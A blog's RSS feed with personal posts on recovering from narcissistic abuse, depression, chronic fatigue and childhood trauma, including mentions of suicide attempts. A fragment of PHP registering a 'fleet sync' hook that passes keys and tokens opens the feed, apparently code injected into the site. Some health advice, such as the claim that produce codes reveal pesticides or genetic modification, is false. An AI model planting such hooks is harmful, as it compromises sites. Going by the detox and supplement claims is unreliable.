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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Blog Posts Archives - Blissfully Healing https://blissfullyhealing.com/category/blog-posts/ In search of life, meaning, and balance Fri, 11 Mar 2022 16:27:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blissfullyhealing.com/wp-content/uploads/2022/01/cropped-blissfully-healing-pinterest-profile-1-32x32.jpg Blog Posts Archives - Blissfully Healing https://blissfullyhealing.com/category/blog-posts/ 32 32 139782009 10 Things That You Will NEED When Recovering From Narcissistic Abuse https://blissfullyhealing.com/10-things-you-will-need-when-recovering-from-narcissistic-abuse/ https://blissfullyhealing.com/10-things-you-will-need-when-recovering-from-narcissistic-abuse/#respond Fri, 11 Mar 2022 14:59:11 +0000 https://blissfullyhealing.com/?p=947 Written September 2018 I feel distraught.  It has been about 7 months since I left Kenya (a 4-month visit) and the drama that was my ex-husband during that visit, which led me to seek divorce. Ever since I came back …

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]]> Written September 2018

I feel distraught. 

It has been about 7 months since I left Kenya (a 4-month visit) and the drama that was my ex-husband during that visit, which led me to seek divorce. Ever since I came back to San Diego, California. I have done an incredible job hiding, running, and keeping a distance from anything that is remotely related to my toxic marriage, and or/ex-husband. I’ve been running away from facing it because it is just too painful to face. Besides, I do a wonderful job masking my pains until the trauma blows up in my face sometime later.

I have painfully learned from my childhood traumas that trauma does not go away. It waits patiently active until you deal with it. Why patiently active you may wonder? because as it waits for you to acknowledge it and do the work necessary to heal from it, it manifests itself in different parts of your mind and body. Making sure that sooner or later you will have to face the consequences of the trauma you experienced whether you like it or not.

So I knew that I needed to face the realities of my ex-husband and the agonies he enticed in me for 2 years. I just didn’t have the might, courage, or will to face any of it until now.

By Elia Pellegrini on Unsplash

******

I have been focusing on acceptance and dealing with things as they arise. My ex-husband and his narcissistic abuse continuously keep creeping into my radar through conversations, readings, and his efforts to reconnect. Therefore, I have decided it’s time to accept that the abuse happened and allow myself to open up to the pain, re-experience them and find healing. 

To say the truth, I am afraid of going down that memory lane, although I acknowledge that the only way I can heal from it all is by revisiting it, understanding it, accepting it, and finally forgiving. At least this is the game plan I am offering myself.

Below are the tools I am using to help me heal from narcissistic abuse:

1.Therapy:

This is an important aspect for me. 

During my marriage, I was struggling with depression, anxiety, PTSD and a number of serious health issues. But I never connected them to my ex-husband. The stress he caused me was significant, but I always assumed that is what all relationships were like. I have to say I was extremely naive when it came to relationships.

As my physical and mental health continued to worsen, my doctor recommended that I see a therapist, which I did for a session and never went back. She then referred me to a psychiatrist who prescribed a number of anti-depressants, which I refused to take. 

When my marriage was over, I realized just how much I had gone through, and after a couple of suicide attempts later, I realized what a terrible state I was in. I was more than happy to get a counselor and above that, I also decided to revisit emdr(eye movement desensitization and reconstruction)therapy. So now I have 2 therapists. I see my emdr specialist once a week and my therapy counselor once every 2 weeks. It has made a world of a difference going through deep depths of depression, suicidal thoughts, and despair with professionals who are trained to help me maneuver out of those depths.

2. Chiropractor who specializes on spinal subluxation. 

  • First of all … what is spinal subluxation?
  • Spinal subluxation is when one or more vertebrae are misaligned therefore affecting the function of the nervous system

Not all chiropractors are made equal. I have learned this with experience.

By the time I walked out of my narcissistic relationship, my nervous system was completely shot, completely dysregulated. I couldn’t handle anything AT ALL. I have had this issue before, but never as bad as it was by the end of my marriage. 

What does my dysregulated nervous system look like? 

Mine looked like this:

  1. Cannot deal with negative emotions through movies, shows, books or people. I would literally start shaking and if the negative affect is big enough I would have a full blown panic attack, pass out or have a seizure.

  • Perfect example: when my friends and I went to watch the black panther, I had been back in the U.S for about 3 weeks. When the movie started, my stomach was a gentle knot, 20minutes in, I was shaking gently with a massive knot in my stomach by the time we got to the climax of the movie I was shaking uncontrollably, teeth chattering, seat shaking, the whole shabang…so I left the theater…  I got outside, leaned on a wall and was panting as though I had just finished a marathon. A theatre custodian passed by and I asked how much of the movie was left and he said about 40 minutes. I then stayed outside for 20 of those, then went back in for the last 20 minutes.

I have been seeing my chiropractor for 5 months now, four times a week. I am not completely healed, but I am making a marvelous recovery.

3. A constant

You need a person, thing, hobby, or entity that is positive, kind, and gentle to you that you can think about or go to throughout your healing process.

My constant is the ocean. 

I have a Sunday spot on a cliff overlooking the ocean, where I go early every Sunday morning with a thermos of tea and sometimes breakfast. I sit there for hours, without realizing it, breathe, cry, and get lost in the gentility of the sea. In that space, I just am. I accept what the cliff I’m on, the ocean, the dolphins, sea otters and birds below have to offer, and I present myself as I am, broken, hurt, extremely vulnerable, and willing to find healing.  At this spot, there is no judgment between the ocean and I, I am and it is.

4. A Good Support System

You need a good group or a solid person (could be your constant) who is there for you through this process.

I wonderfully have my mother, who I am grateful for beyond belief, a solid group of friends who I talk to occasionally, and my therapists and chiropractor.

This is a group of people that is cognizant of my healing journey and are actively putting in the effort for my recovery. They also appreciate my efforts and are encouraging, supportive, and simply there. 

5. Guard your mornings and nights

It is absolutely important that you protect your last hour of the day and your first hour of the day. These two hours set the tone for the rest of the day and night. If you get into the habit of exiting the day and entering the day the right way, you will find that you no longer have to barely survive through the days, you will learn to manage, then eventually thrive through the days. 

The hour before sleep:

Turn off electronics and put away distractions. Take this time to meditate, pray, journal, read something inspirational or something you enjoy (I would recommend a physical book, not a digital device), breathe, yoga, listen to soft music, paint, color, etc etc. 

The hour after you wake up:

Start with breathing exercises, (4,7,8 method). Breath 4, hold 7, and breathe out 8. Do as many as you wish. Then onto positive visualizations ( I like to keep a beautiful picture of nature right in from of my bed. Something that makes me simply want to smile. Then onto about 8oz of water before you get out of bed. Take it extremely easy within that hour, fill it with prayer, breathing exercises, meditation, yoga, tai chi, journaling, etc etc.

6. Read, read, read

Understand the trauma you just stepped out of, this will also help you understand yourself in this stage and hopefully help you put the pieces of your life back together.

Recommended readings: Psychopath free, in sheep’s clothing

7. Exercise and a healthy diet

Exercise is fantastic for generating the right hormones and neurotransmitters in your brain. It is also fantastic for warding off depression and if you already have depression like me, it is fantastic for maintaining its effects and even recovering from it.

My emphasis on a healthy diet is more geared towards the happy gut. 90% of the serotonin in our bodies and minds is made in the gut (which for some reason gets battered during a narcissistic relationship), therefore eating right to make sure that the neurotransmitter you need most for joy and to avoid depression is well maintained. 

Recommendations: a good probiotic that works for you, l-glutamine powder to help the gut repair if any damage was caused, an elimination diet if food is a big problem for you as it is for me.

8. Journal

Write! Write! Write! 

The writing process is one of the best tools of self-expression and relief that you have during and after abuse. So write it all out. Write even the things you don’t think are worth writing, you will later find that those were the things you needed to write the most. 

9. Meditation 

Do as much meditation as you possibly can, even if that is just a minute in the morning and a minute before you sleep. Find a quiet peaceful place where you will not be disturbed, close your eyes and observe. Whether you are observing your mind or your breath, this is a powerful way to rewire your brain, recover from trauma and find internal peace. 

Recommended programs: Calm, insight timer

10. A whole lot of self care

This is where you get yourself back. 

Part of the effects of narcissistic abuse is the erosion of identity. My ex-husband did such an incredible job on me, that I no longer knew who I was. 

Self-care and self-rediscovery through taking care of your health (which is most likely going to have challenges it didn’t have before the relationship), doing things you love, reconnecting with people you disconnected from etc etc. 

The secret here is to do more of what you love and give yourself the time to heal. 

Additional Resources: Online Support Groups

Support groups can be a wonderful way for you to connect with people who have recently started their journey, as well as those who have been on their journey for a while. You will get to be with a group of people who understand what you are going through and are able to give you the emotional support you need during this stage of your healing journey.

Toxic Relationship Support Group

Toxic Relationship Support Group

Healing the Effects of Toxic Relationships

$120.00
Shop now

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]]> https://blissfullyhealing.com/10-things-you-will-need-when-recovering-from-narcissistic-abuse/feed/ 0 947 16 Must-Haves For Dealing With Depression. https://blissfullyhealing.com/16-must-haves-for-dealing-with-depression/ Wed, 08 May 2019 16:15:41 +0000 https://blissfullyhealing.com/?p=1250 Depression. Oh my… There are many things to say about depression, but those with it, know very well the speechless nature of the symptoms. The despair, the silent cry for help that you do not understand, the hollow depths of …

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]]> Depression. Oh my…

There are many things to say about depression, but those with it, know very well the speechless nature of the symptoms. The despair, the silent cry for help that you do not understand, the hollow depths of sadness unimaginable before, the lack of desire to function, to live and to be, the desire for social isolation, and the worst of them all, the regret that occasionally washes over , leaving you lamenting for the life you had that feels an impossible reality now. Not to mention regretting the cutting of relations, the availed adventures, the passage of time that will never be gained back. Last but not least, the nameless emotions that wreak havoc, the feelings of loss, doubt, distrust, fear, shame, and guilt.

Need I say more?!

Everyone experiences depression differently.

Like a fingerprint, depression makes its mark special in each of us. With that in mind, realize that you will need to create a personal survival kit and routine that works best for you.

Below are some of the things that are making a tremendous difference in how I face depression. Granted, I have good days and without a doubt also have devastating days, but maintaining the things below helps with the depths of depression I experience and how functional I am through the days.

1. Morning routine:

The best gift you can possibly give yourself is the gift of a slow, gentle peaceful morning. If this requires that you wake up a bit early, so be it. But you need a morning that consists of activities that are gentle, calming, grounding that will help you connect to your body, mind and breath.

My routine: I begin slowly, first taking my time in bed before getting up, by doing some breathing exercises mixed with some gentle stretches.

I suffer from a number of chronic illnesses and their symptoms are a mile long. The most difficult time in my day is right when I wake up. The amount of pain I experience is numbing, to say the least, so I begin the morning with breathing exercises to get myself acquainted with my body and the pains I am experiencing that morning, do some light stretches while lying down, then spend a good deal of time heating my body before getting out of bed. Depending on the severity of my pains that day, this step could take anywhere from 30minutes to two hours.

I have learned (the hard way) to respect what my body is saying and give it what it needs. If it’s two hours to be able to move out of bed, so be it.

I then set up my essential oil burner, meditate, yoga, take a walk (if I am able) and journal/write poetry while sitting in the sun.

2. Night routine:

As far as I am concerned, a good night routine prepares you for a good night’s sleep, which is imperative for depression. Lack of proper sleep can easily get you onto a rumination cycle, a suicidal ideation cycle or any of the many other depression cycles that exist.

Also, a steller night routine sets you up for a good morning routine which sets you up to survive the day.

3. Meditation time

I cannot stess how important this is.

You need time to assess, befriend and understand what is going on inside you and the best way to do this is through meditation.

You need to befriend yourself and the best way to do that is to understand yourself and meditations offers a door into the world of self-understanding. There are many apps out there that have guided meditation and classes on how to do meditation and such. Get yourself on the meditation train. This step has been a major game changer for my depression health journey

Programs I use:

  • Calm: The app has guided meditations, sleep stories and a number of other mindfulness tools, along with a depression masterclass that can help you through your healing journey.
  • Insight Timer: The app also has guided meditations, but in a very different format than calm.

Of the two, I prefer calm which I use on a daily basis and use insight timer from time to time.

4. Time for Breathing

Oh boy, it might sound silly, but most people do not know how to breathe properly. Which causes major issues with anxiety, panic, and breathing-related concerns, but, when it comes to depression, learning how to breath can be an incredible way to revitalize your body and allow yourself time to feel.

One of the things I have realized is that the only way out of depression is through it.

You will actually need to feel what depression is asking you to feel. You will need to feel the despair, the pain, the agony, the lack of want of life, etc etc. You will need to understand those and get to a place where you know what those symptoms mean to you.

The only way I manage to get through those very difficult emotions, sensations and thoughts is with breath. Well, actually, sometimes I run from them, but that only makes the situation worse. So when I stop to face them, I make sure that I monitor my breath and seek it’s assistance as I face the unbearable.

5. Intentional Movement:

This can be yoga, tai-chi, walking meditation etc.

This is an opportunity for you to connect your body to your breath and hopefully both to your mind. Of course, I am not suggesting anything too rigorous.

Just set yourself up with a very gentle, kind and compassionate practice. It allows you to be in a meditative state, with breathing exercises that are connected to movement. The hope here is to get you to to connect to yourself, be present with yourself and create understanding.

6. Self care days i.e Depression days

Alright, so I have non-days, otherwise known as depression days.

I have a day in the week that belongs to no-one but me. Granted, I am single, without kids, but if you are married, in a relationship and have kids and other family obligations, you will need to discuss with them about a day or half a day in which you are alone, left alone to do as you please.

If this means you spend the whole day in bed, with the curtains drawn and binge watching something. That’s fine.

The point here is that you need to listen to your depresssion and as much as we want to fight it, sometimes we just need to do what depression wants of us. That may be to completely cut yourself off and that is ok.

The reasons I think it’s important to indulge depression within limits (i.e depression day) is because you feel the way you feel for a reason. Feeling that feeling and indulging in depression is part of your recovery.

These days are powerful for me. They make me feel capable.

7. Daily quiet time

Part of the depression problem is a lack of space; mental, social, emotional, etc.

You need to create time, daily, when you just are. Whether its to drink a cup of tea, read a book, take a walk etc, you need daily time to disconnect from everything and everyone and simply connect with yourself (This is a plea against technology) watching a show is not quiet time.

8. An excellent healing team:

Therapist, psychiatrist, chiropractor, reiki specialist, masseuse, acupuncturist, cupping specialist, herbalist, meditation instructor, breathing expert, nutritionist. I think this point speaks for itself.

Create for yourself a team that will help you through this recovery process. I can tell you from experience, you cannot go through this journey alone. You will need people who understand what you are going through and offer you assistance with compassion, kindness and care.

9. Community and support:

Seek out joy and laughter.

Now, this has been a difficult thing for me to do. At best, all I want to do is be as far as possible any human being. Energy is required to maintain relationships and to be honest, I simply don’t have it.

Between my physical and mental chronic illnesses, I barely have enough energy to get myself through the morning.

Things I have learned:

I have learned that there are people who energize, while there are people who suck the energy right out of me. We are not speaking of any extraneous activities, at the moment, I am speaking of just their presence. I have also learned that big gathering induce my anxiety and panic attacks

Although, I have also realized that gathering with people who I love gives me energy and desire to keep going.

Unfortunately, you will have to learn, as I have, to avoid the people who make you feel worse even though you may love some of them to death.

You will need to create space from negativity and surround yourself with positivity. This might mean that you need to start creating a community of support and love separate from your current community of loved ones.

10. Self-discovery journey:

You need to create self-compassion, self-love, self-kindness and simply be the person you need from someone else. Be that source of love and understand you wish to get from others. When the world feels like it’s falling apart, be able to tell yourself, “I’m here, I got you” and feel the safety and reassurance you are looking for.

11. Laughter:

Surround yourself with positive energy, people, shows and the such. Research has shown that laughter affects levels of cortisol, dopamine and other hormones known to affect mood, stress and depression.

So laugh it up whenever you have the chance. Watch funny shows, videos, and movies. Surround yourself with people who make you laugh and simply offer you a positive environment.

12. Organization:

Clean, de-clutter and get rid of unnecessary things.

This will be monumental in your healing journey. As part of the process, you will need to let go of things that no longer serve you.

Organization can be difficult during depression, but I have found that getting organized improves how I feel.

13. De-clutter :

Remove, remove, remove. Remove things, ideas, beliefs, should’s and cant’s that are hurting you and simply lighten your load

14. A project:

Something to keep your mind off your woes (hobby, bucket list etc). This is the perfect time to rekindle a lost hobby, craft or explore something new The purpose of this point is to help you rekindle joy.

Advice: Start slow.

15. Anti-inflammatory diet.

Studies have shown that an anti-inflammatory diet can be a powerful tool in dealing with depression.

Whether or not you are on medication, coupling that with an anti-inflammatory diet, anti-inflammatory supplements and an active lifestyle will do you a world of good.

16. Probiotics and supplements

Studies have also shown that there is a big connection between the gut and the brain and taking a good probiotic can make a very big difference in your depression journey.

***

I know, some of you are probably thinking, “is she insane, she just mentioned how deep depression can sink you. Besides, that sounds like a whole lot of work.”

Yes. It. Is.

And the answer to all the questions and arguments that will pop up trying to prevent you from doing the work, should be, “because I am worth it.”

Now, to be honest, I am still struggling with that part. The “because I am worth it” part and on the days when that statement feels like a stretch, I go with, “because life is worth it” and on the days that is a stretch, I go with “there is still so much to see and so much to do” and occasionally I go with “there is still so much to accomplish”.

And on the days when all of them feel like a stretch, I roll with “this is all hard and that’s ok” and offer myself whatever I need for that day. Whether it’s isolation, tears, writing, binge-watching, etc etc.

I offer myself whatever I need to get myself back to “because I am worth it”

This article is urging you to change your lifestyle.

I think depression is a call for change. Imagine it to be a revolution within yourself for the need for change. Only it’s not millions of people on the streets demanding a change, it’s your body screaming for your attention, urging you to notice the ways in which it is struggling to survive.

A word of caution: The most important thing you need to realize about the effort you will put in, is that you need to take it a step at a time, give it time and take it easy. Develop self-compassion and kindness, discover yourself in the process and let the journey lead the way.

The depression healing journey is not a day thing, or a week, or even a year thing. It’s a life long journey. I remind myself often that the magic of my recovery will not be in the destination, it’s all in the journey that I am living now. A sentiment I am slowly learning to accept.

Related Posts:

When suicidal thoughts are rampant

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]]> 1250 7 Natural Ways to Survive Chronic Fatigue Syndrome https://blissfullyhealing.com/7-natural-ways-to-survive-chronic-fatigue-syndrome/ Thu, 31 Jan 2019 01:09:59 +0000 https://blissfullyhealing.com/?p=1212 A few days ago my chronic fatigue hit! Not just hit, but crept up on me and sucker punched me with a knockout. Suddenly my energy was back to its norm, non-existent. My aches and pains were doubled in intensity …

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]]> A few days ago my chronic fatigue hit!

Not just hit, but crept up on me and sucker punched me with a knockout.

Suddenly my energy was back to its norm, non-existent. My aches and pains were doubled in intensity and my ability to function was very low.

I was once again calculating how to get from my bedroom to the kitchen to warm up food and how to get from my bedroom to the bathroom. Let’s just say, I calculated a shower for days before I was actually able to take it, but it required a significant amount of prep and a significant amount of recover time.

So here I am again, wondering what in the world I had been doing that made my chronic fatigue syndrome manageable, and where I went wrong?

By manageable I mean, functional until around 1 pm when I would need a 2-hour nap to get through the rest of the day, wake up at 3pm and sleep by 9pm.

Photo by Lisa Hobbs on Unsplash

Now I need to get back into bed at around 10am(that is being generous with time, it’s more like 9:32, 9:48) and even a nap doesn’t give me enough energy to manage through the day. So I spend my day in bed resting so I can be able to do the basics of my life like doctors appointments, cook and use the bathroom.

It has been about 3 months since I was in this depth of fatigue and once it hit again I started asking myself what I had done before and during that three months that set me up for a manageable chunk of time.

1. Fight Inflammation:

I once read that where there is fatigue, there is inflammation, which completely changed how I looked at fatigue. I know that I have issues with inflammation (flare-ups, fever outbursts, brain fog) but I did not realize that my chronic fatigue was also an indication of inflammation. Sadly, for me, this means that I am always inflamed.

How?:

  • Increase detox (Epsom salt and bentonite clay baths, steam room or sauna, take chlorella tablets, drink detox juices and smoothies etc)
  • Watch your toxic intake load (watch out for mold, voc’s, gmo’s, hormones and antibiotics in foods, toxic ingredients in daily household products etc)
  • increase omega 3 foods and supplements,
  • shift to an anti-inflammatory diet (preferably an organic one)
  • Watch your carbohydrate and sugar intake
  • Do your best to reduce and manage your physical and emotional stressors
  • Drink anti-inflammatory teas on a daily basis
    • This is my daily ammo. I alternate between turmeric, tumeric-ginger and peppermint tea through the day. I have missed some days and on those days I realized just how much of a difference this routine makes on my inflammation and pain levels.

2. Diet:

Part of fighting inflammation and maintaining the right amount of energy is eating right.

Food is fuel. aaannndddd … Food is medicine.

What you ingest helps or hinders your body’s ability to create the energy it needs. So eating a balanced diet (whatever that means for you) is extremely important.

My body has been fighting food and I have become intolerant and inflammatory to almost everything but lean meat and seafood.

Regardless of what type of eating program you are on, make sure that each meal is balanced. So make sure you have a significant amount of protein, paired with healthy carbohydrates and fats.

Now I know that fatigue in itself can create a challenge in eating right, I mean if you dont have enough energy to make it to the kitchen, where will you muster up the willpower to fight your junk food and sugar cravingss.

But this point matters.

What you eat affects your energy levels and inflammation, and your inflammation affects your fatigue, brain fog, pain levels, and swelling etc etc.

How?

  • Remove caffeine, gluten, sugar, processed and other inflammatory foods
  • Eat clean (focus on fruits and vegetables that have not been grown with pesticides or gmos.)
    • Read the barcode on your fruits and vegetables
      • If it starts with a 4xxx it was grown with pesticides
      • If it starts with an 8xxxx it was genetically modified
      • If it starts with a 9xxxx, it is organic.
    • Food is the body’s fuel and tainted fuel will limit the quality and type of our energy.
  • Increase protein intake (protein facilitates the slow release of energy)
    • Carbohydrates and fats are excellent sources of energy, but the amount of protein you intake dictates the release and stability of that energy.
    • Without protein, the food you ingest will give you energy, sometimes an obscene amount in a short period of time, then a crash.
      • For me, this means being extremely jittery, light headed and nauseous, then extremely tired in a very short period of time.

3. B-12 shots

I read numerous accounts of chronic fatigue syndrome sufferers who have benefitted from B-12 shots and also found a number of research articles of studies done on the topic.

According to a study conducted at the Institute of Neuroscience and Physiology at Sweden’s Gothenburg University, the methylcobalamin version of B-12 shots combined with regular doses of folic acid increase energy and reduce fatigue and other symptoms caused by chronic fatigue syndrome.

So I tried it and it worked like magic.

Frequency: There are numerous opinions of how often the shots should be taken, but it’s all a matter of what works for you. It also depends on the strength of the dose you take.  But it is definitely worth considering.

4.Detox

Toxins such as VOCs, mold, pesticides in our food, heavy metals, and toxins in household cleaning products significantly tax our systems and make it very difficult for our natural detoxifying system to do its job and clean out the body properly.

Basically, it’s as though you are trying to clean mud-covered floors with a tiny toothbrush, but the mud keeps flowing in.

When you have an overabundance of toxins in your system, your detox agents can only do so much, so you will need to help them out.

  • How: Increase detox baths or foot soaks
  • Help the liver by taking a liver-care or liver support
  • Take a strong detox agent like chlorella (this also significantly helps reduce inflammation)

5. Proper Sleep

Nap

Now there are discussions that support naps and some that do not.

Some chronic fatigue clinics encourage chronic fatigue patients to push through the day (with increased rest) so that they can have qualitative sleep at night.

For some this advice works, but for someone like me, skipping a nap actually sets me up for a very bad night followed by an unmanagemable day. If I don’t nap, I have insomnia.

Basically, what I would advice you is to figure out what works for you.

If pushing through the day works for you. I must stress that make sure when the slump starts to hit you take rest, by that I mean, slow your pace, just lay down and let your body muster up some energy, but make sure that you do not force your body because it will burn out, which might lead to a flare-up and other symptoms, which might need days to recover from.

Sleep early

The biggest gift you can give yourself when you have chronic fatigue is proper night’s sleep.

First, You need to make sure that you have the proper support for proper sleep. This means getting the right sleeping situation, mattress/bed, sleeping on the floor, couch, whatever works for you.

If you are mattress shopping, just make sure your mattress has not been sprayed with voc’s which will increase your inflammation, fatigue and cause other health problems.

Second, set up a proper sleep schedule and support it.

Whether this means taking a nap or not, shutting down all electronics an hour or 2 before sleeping or having a sleep routine (brushing your teeth, washing your face, gentle yoga, meditation, reading) that primes your mind and body for sleep.

Third, set a sleep hour.

For me this means I sleep between 9 and 10pm.

Telling myself I need to sleep by 9 or 10 freaks me out and I start panicking when the time arrives. Granted sometimes I start getting ready for bed at 8 pm but allowing myself an hour gives me time to do my sleep routine and lay down in the dark if insomnia is bugging me.

6. Exercise:

Now this is a tricky one.

There is a need for exercise to reduce chronic fatigue syndrome symptoms, but there is also a limit to how much your body can handle depending on your situation.

At the moment I have been reduced to a very gentle and short yoga sequences in the morning followed by a walk.

I struggle with depression and occasionally I have a serious need for exertion that is not fulfilled by my gentle yoga and walk routine.

So a few weeks ago I convinced myself that I would be ok working out “for real” like I used to do and boy did I pay for it. (I love working out, I am one of those people that can spend 3 to 5 hours in the gym without feeling that I have spent that much time working out.)

Granted, while working out I felt like I was on the top of the world, and perhaps I pushed a lot more that I should have. (I ended up doing a 10-minute walk, 45-minute RUN and a 10-minute walk.)

When I got going with that run and caught that rhythm… aaaaaahhhhh. But I spent the next three days in bed swollen to my face. My face was swollen!!!

Here is what I have learned with my body, as inflammation goes down, my capability to handle for rigorous forms of exercise increases. But as long as inflammation is lurking, I have to keep to a gentle exercise routine.

But I do need a daily exercise routine to manage my symptoms.

7.Supplements:

I literally live on pills.

As my body becomes more resistant to foods and other things, I find that I need to increase the supply of supplements to help me function. These are the supplements I have found that help with chronic fatigue.

  1. Probiotics
  2. Adrenal support
  3. Vitamin D
  4. L-Carnitine
  5. Quercetine
  6. Potassiam and megnesium
  7. Adult B complex

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]]> 1212 6 Ways To Stop Playing The Victim And Empower Yourself https://blissfullyhealing.com/6-ways-to-stop-playing-the-victim-and-empower-yourself/ Wed, 16 Jan 2019 20:18:05 +0000 https://blissfullyhealing.com/?p=1197 People play the victim in their lives for many many reasons, but regardless of why you are, whether it’s to make yourself feel better, to justify someone’s abuse towards you, to manipulate others to get your way or to seek …

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]]> People play the victim in their lives for many many reasons, but regardless of why you are, whether it’s to make yourself feel better, to justify someone’s abuse towards you, to manipulate others to get your way or to seek people’s attention and sympathy; Self-victimization is actually a form of self-sabotaging behavior.  The only person who is truly hurting by your behavior is you.

Photograph by Christian Holzinger on Unsplash

Realizing that you are fabricating victimhood in your life is a big and important step towards taking control of your life and making peace with your present and past. It’s a gateway to a better you and a wonderful future, but this realization is just the first step.

Releasing self-victimization is a journey in itself. So what are some ways to begin the journey towards self-empowerment by releasing self-victimization?

1.Identify your self-limiting beliefs

This point it a really important one. What things are you telling yourself about yourself and others that are keeping you within the “I am the victim” mentality?

Here is where the work begins. You will need to actually pay attention to the stories you spin for yourself. Perhaps write them down over the course of a week and read them later to find your patterns.

For instance, if something happens to you, what do you focus on? Do you focus on what you think other’s have or haven’t done that made the situation bad for you? Do you consistently tell yourself that the reason you are in that particular situation is because an external circumstance caused it?

Spend conscious time paying attention to your mental stories and try to see how many of those stories are a result of childhood, media and societal programming.

Now, realize that all the brain is malleable, it’s always learning and changing, and anything learned, no matter how damaging, can be unlearned.

2.Resolve internal conflicts

Everyone has internal conflict. I have come to realize that majority of the time, it’s as a result of past experiences and toxic programming that cause a gap between who we are and who we think we are supposed to be.

A solid step towards walking away from a victim-hood story is facing those things that you fight yourself about and simply re-writing your story. Whether it’s a traumatic past or messages that have damaged your self-esteem and self-worth. Take those stories, analyze them so you may learn about yourself and re-write them for yourself.

Face the beliefs you have about yourself.

3.Shift your perspective into a positive outlook

A never ending story of how things are always going wrong in your life is a VERY DANGEROUS ONE to have. I should know. I have spent a good deal of my life wallowing in my misfortunes and the result of it was suicidal-ideation.

Not to say that my depression was only caused by focusing on the terrible nature of my life. (At least that is how I looked at it). No, my depression was caused by many things, but my life perspective did not help either. Within the tornadoes that brought me all the way to “maybe death is better”, focusing on just how terrible things were, and how things were always going wrong was adding tons of gasoline to a never ending fire

Shifting your perspective won’t solve the problem, it will improve the situation. Learn to look at the brighter side and focus on the roses instead of the thorns.

4.Take away your self given right to complain

Don’t complain. Do something about it.

When you complain you take away your capability to do something about it. It’s like breaking your own legs right before you go for a run. It’s self crippling behavior.

When you complain you make powerless about the matter. The only thing is, there is always something you can do about anything and everything. So shift your energy from complaining to learning about what you can do to improve your situation, and do it.

5.Realize that there is always something you can do about it

Regardless of the situation, there is always something you can do about it to make it better or tolerable. The decision may be challenging, you may lose friends, a job etc. But you will have made a decision that is right for you, even though others may not see it as such.

Whether you choose what is right for you or not, that is still a choice. Whether you choose to do something positive driven or nothing at all, that is still doing something about it.

Since you do something about it even when you don’t, you might as well make a conscious choice to actively and intently do something about it

6.Be frank with yourself about why you feel victimized

Now this is the hardest part. At least it was for me.

The biggest breakthrough will be the honest, vulnerable and truthful conversation/realization you have with yourself. It will require you to let go of your assumptions about who you are, what you are and who you think you are supposed to be.

I think the thing that makes it difficult for us to be real with ourselves are the expectations and labels we have of ourselves.

So go ahead and give yourself permission be human. Yes. Give yourself permission to be “less” than what you think you are, or what you think you are supposed to be.

It requires overcoming your own shame, fear and doubt. Accepting that you have flaws and downfalls doesn’t make your weak, mean, stupid, or whatever else you tell yourself. Nah. It actually make you stronger, wiser and a more valuable human being. Not that you are not already, you just need to acknowledge that being real with yourself will make it easier for you to create a beautiful relatonship with yourself and others.

Related Posts:

Why we need to accept life as it is
3 reasons your life is always turbulent and 3 ways to stop it


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]]> 1197 Why Making Peace With Your Past Is Important https://blissfullyhealing.com/why-making-peace-with-your-past-is-important/ Mon, 14 Jan 2019 18:57:43 +0000 https://blissfullyhealing.com/?p=1174 Well, the secret became that a part of me always asked the question why. Yet another part of me fought the question to appease the childhood programming, that we should never ask why because that would, in essence, be questioning …

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]]> Well, the secret became that a part of me always asked the question why. Yet another part of me fought the question to appease the childhood programming, that we should never ask why because that would, in essence, be questioning the will of God.

For the longest time, this became a continuous internal battle that wreaked havoc in regards to self-awareness and self-value.  Later when I finally decided that perhaps its time I face myself, my past and this particular internal battle, I realized that I wasn’t asking the question why so I may be defiant, I was asking the question why so I can understand.

john noonan
Photograph by John Noonan on Unsplash

Seeking Understanding:

I wanted to understand why I was sexually abused as a child; I wanted to ask why and how people found it easy to be demeaning, call me names, tell me I am ugly, I am nothing and I am not good enough etc; I wanted to ask why adults saw it fitting to beat me up as a child; the slap that made me pee on myself and left my ears ringing for days when I was 9, the full-on attack that led to a bleeding scratched back that I still have marks of to this day from when I was 11 etc; I wanted to know why someone could look me in eyes and tell me he would shoot me in the head, when he vowed before God and all our loved ones, to love, respect and protect me; I simply wanted to know why people could be so cruel when I had done nothing to deserve it.

In the search for why came despair. Fueling this despair was the feeling of helplessness. Things happened to me as a child and within my marriage that I had no control over, yet I have to live with the consequences of other people’s actions.

Living the Consequences of Other’s Actions:

I continued to feel victimized and helpless even though the events were in the past. The host of mental and physical ailments did not help either. I have a host of mental and physical chronic illnesses that are tied to childhood trauma and narcissistic abuse. The long list of PTSD, depression, disassociation, panic and anxiety attacks, non-epileptic seizures, autoimmune disease, and the list goes on. Sometimes a small trigger can take me under for days. For the most part, I lived with the understanding that there was nothing I could do about it, I just needed to do enough to survive.

Change Your Thoughts, Change Your Life:

After my divorce, I woke up for a slight second and realized that I did not want to survive anymore, I wanted to thrive. I realized that to be able to live the life that I have always dreamed of, do the things that I have always wanted to do, accomplish the grand task of changing the world, I needed to shift from being a victim to being a survivor, then from being a survivor to being a victor. I needed to work my way out of the “woe is me” mentality and simply do something about the things others have done to me and the consequences I live with.

It’s All A Choice:

A mentality change requires a conscious decision to choose. I had to choose between remaining stuck with what the past made me, or actively dealing with the skeletons in my closet in search of a better life.

Choosing to heal is a journey that requires a lot of effort. I don’t know what it is like to just have an ok/good day without doing a million and one things right in the first place.

A manageable day for me begins the afternoon before with a nap, leading into a night routine that sets me up for my ironclad morning routine and a host of pills to keep me functional, or barely functional. Not that all days are good, they are not. Most days are actually dreadful even with the routine. But now I live with the idea that I am no longer a victim and there is something I can do about it. I know with certainty that my actions are slowly changing my present and future.

This isn’t a day long journey, it’s a life-long journey that I will probably be on for a while. But I think it’s a better journey than the journey of consistently drowning with the effects of the past. Not to say that I do not occasionally drown when the past is triggered, I do. But with a changed mindset, dealing with my past has changed. Within those episodes when my past takes me for a ride, I realize that it’s a temporary ride and for the most part there is always something I can do about it.

So WHY? Why is it important to make peace with your past?

Because you will become a better person for it. You will no longer live within the clutches of what happened to you and you will no longer be at the mercy of your past. You will be at the mercy of your decisions and actions. Even in the situations that you are grabbed into the past, you will know that you can take steps to bring yourself back to the present.

The best part about making peace with your past is that you get to learn. You learn who you are and who you can be, and if you choose wisely and decide to go after your potential, you will shock yourself of just how much you are capable of.

As long as you are stuck in the past, as long as you choose to let the past dictate your present and your future, as long as you choose to remain a victim, life will never be what you want it to be. It will always be what others have caused it to be.

Related Posts:

6 ways to stop playing the victim and empower yourself
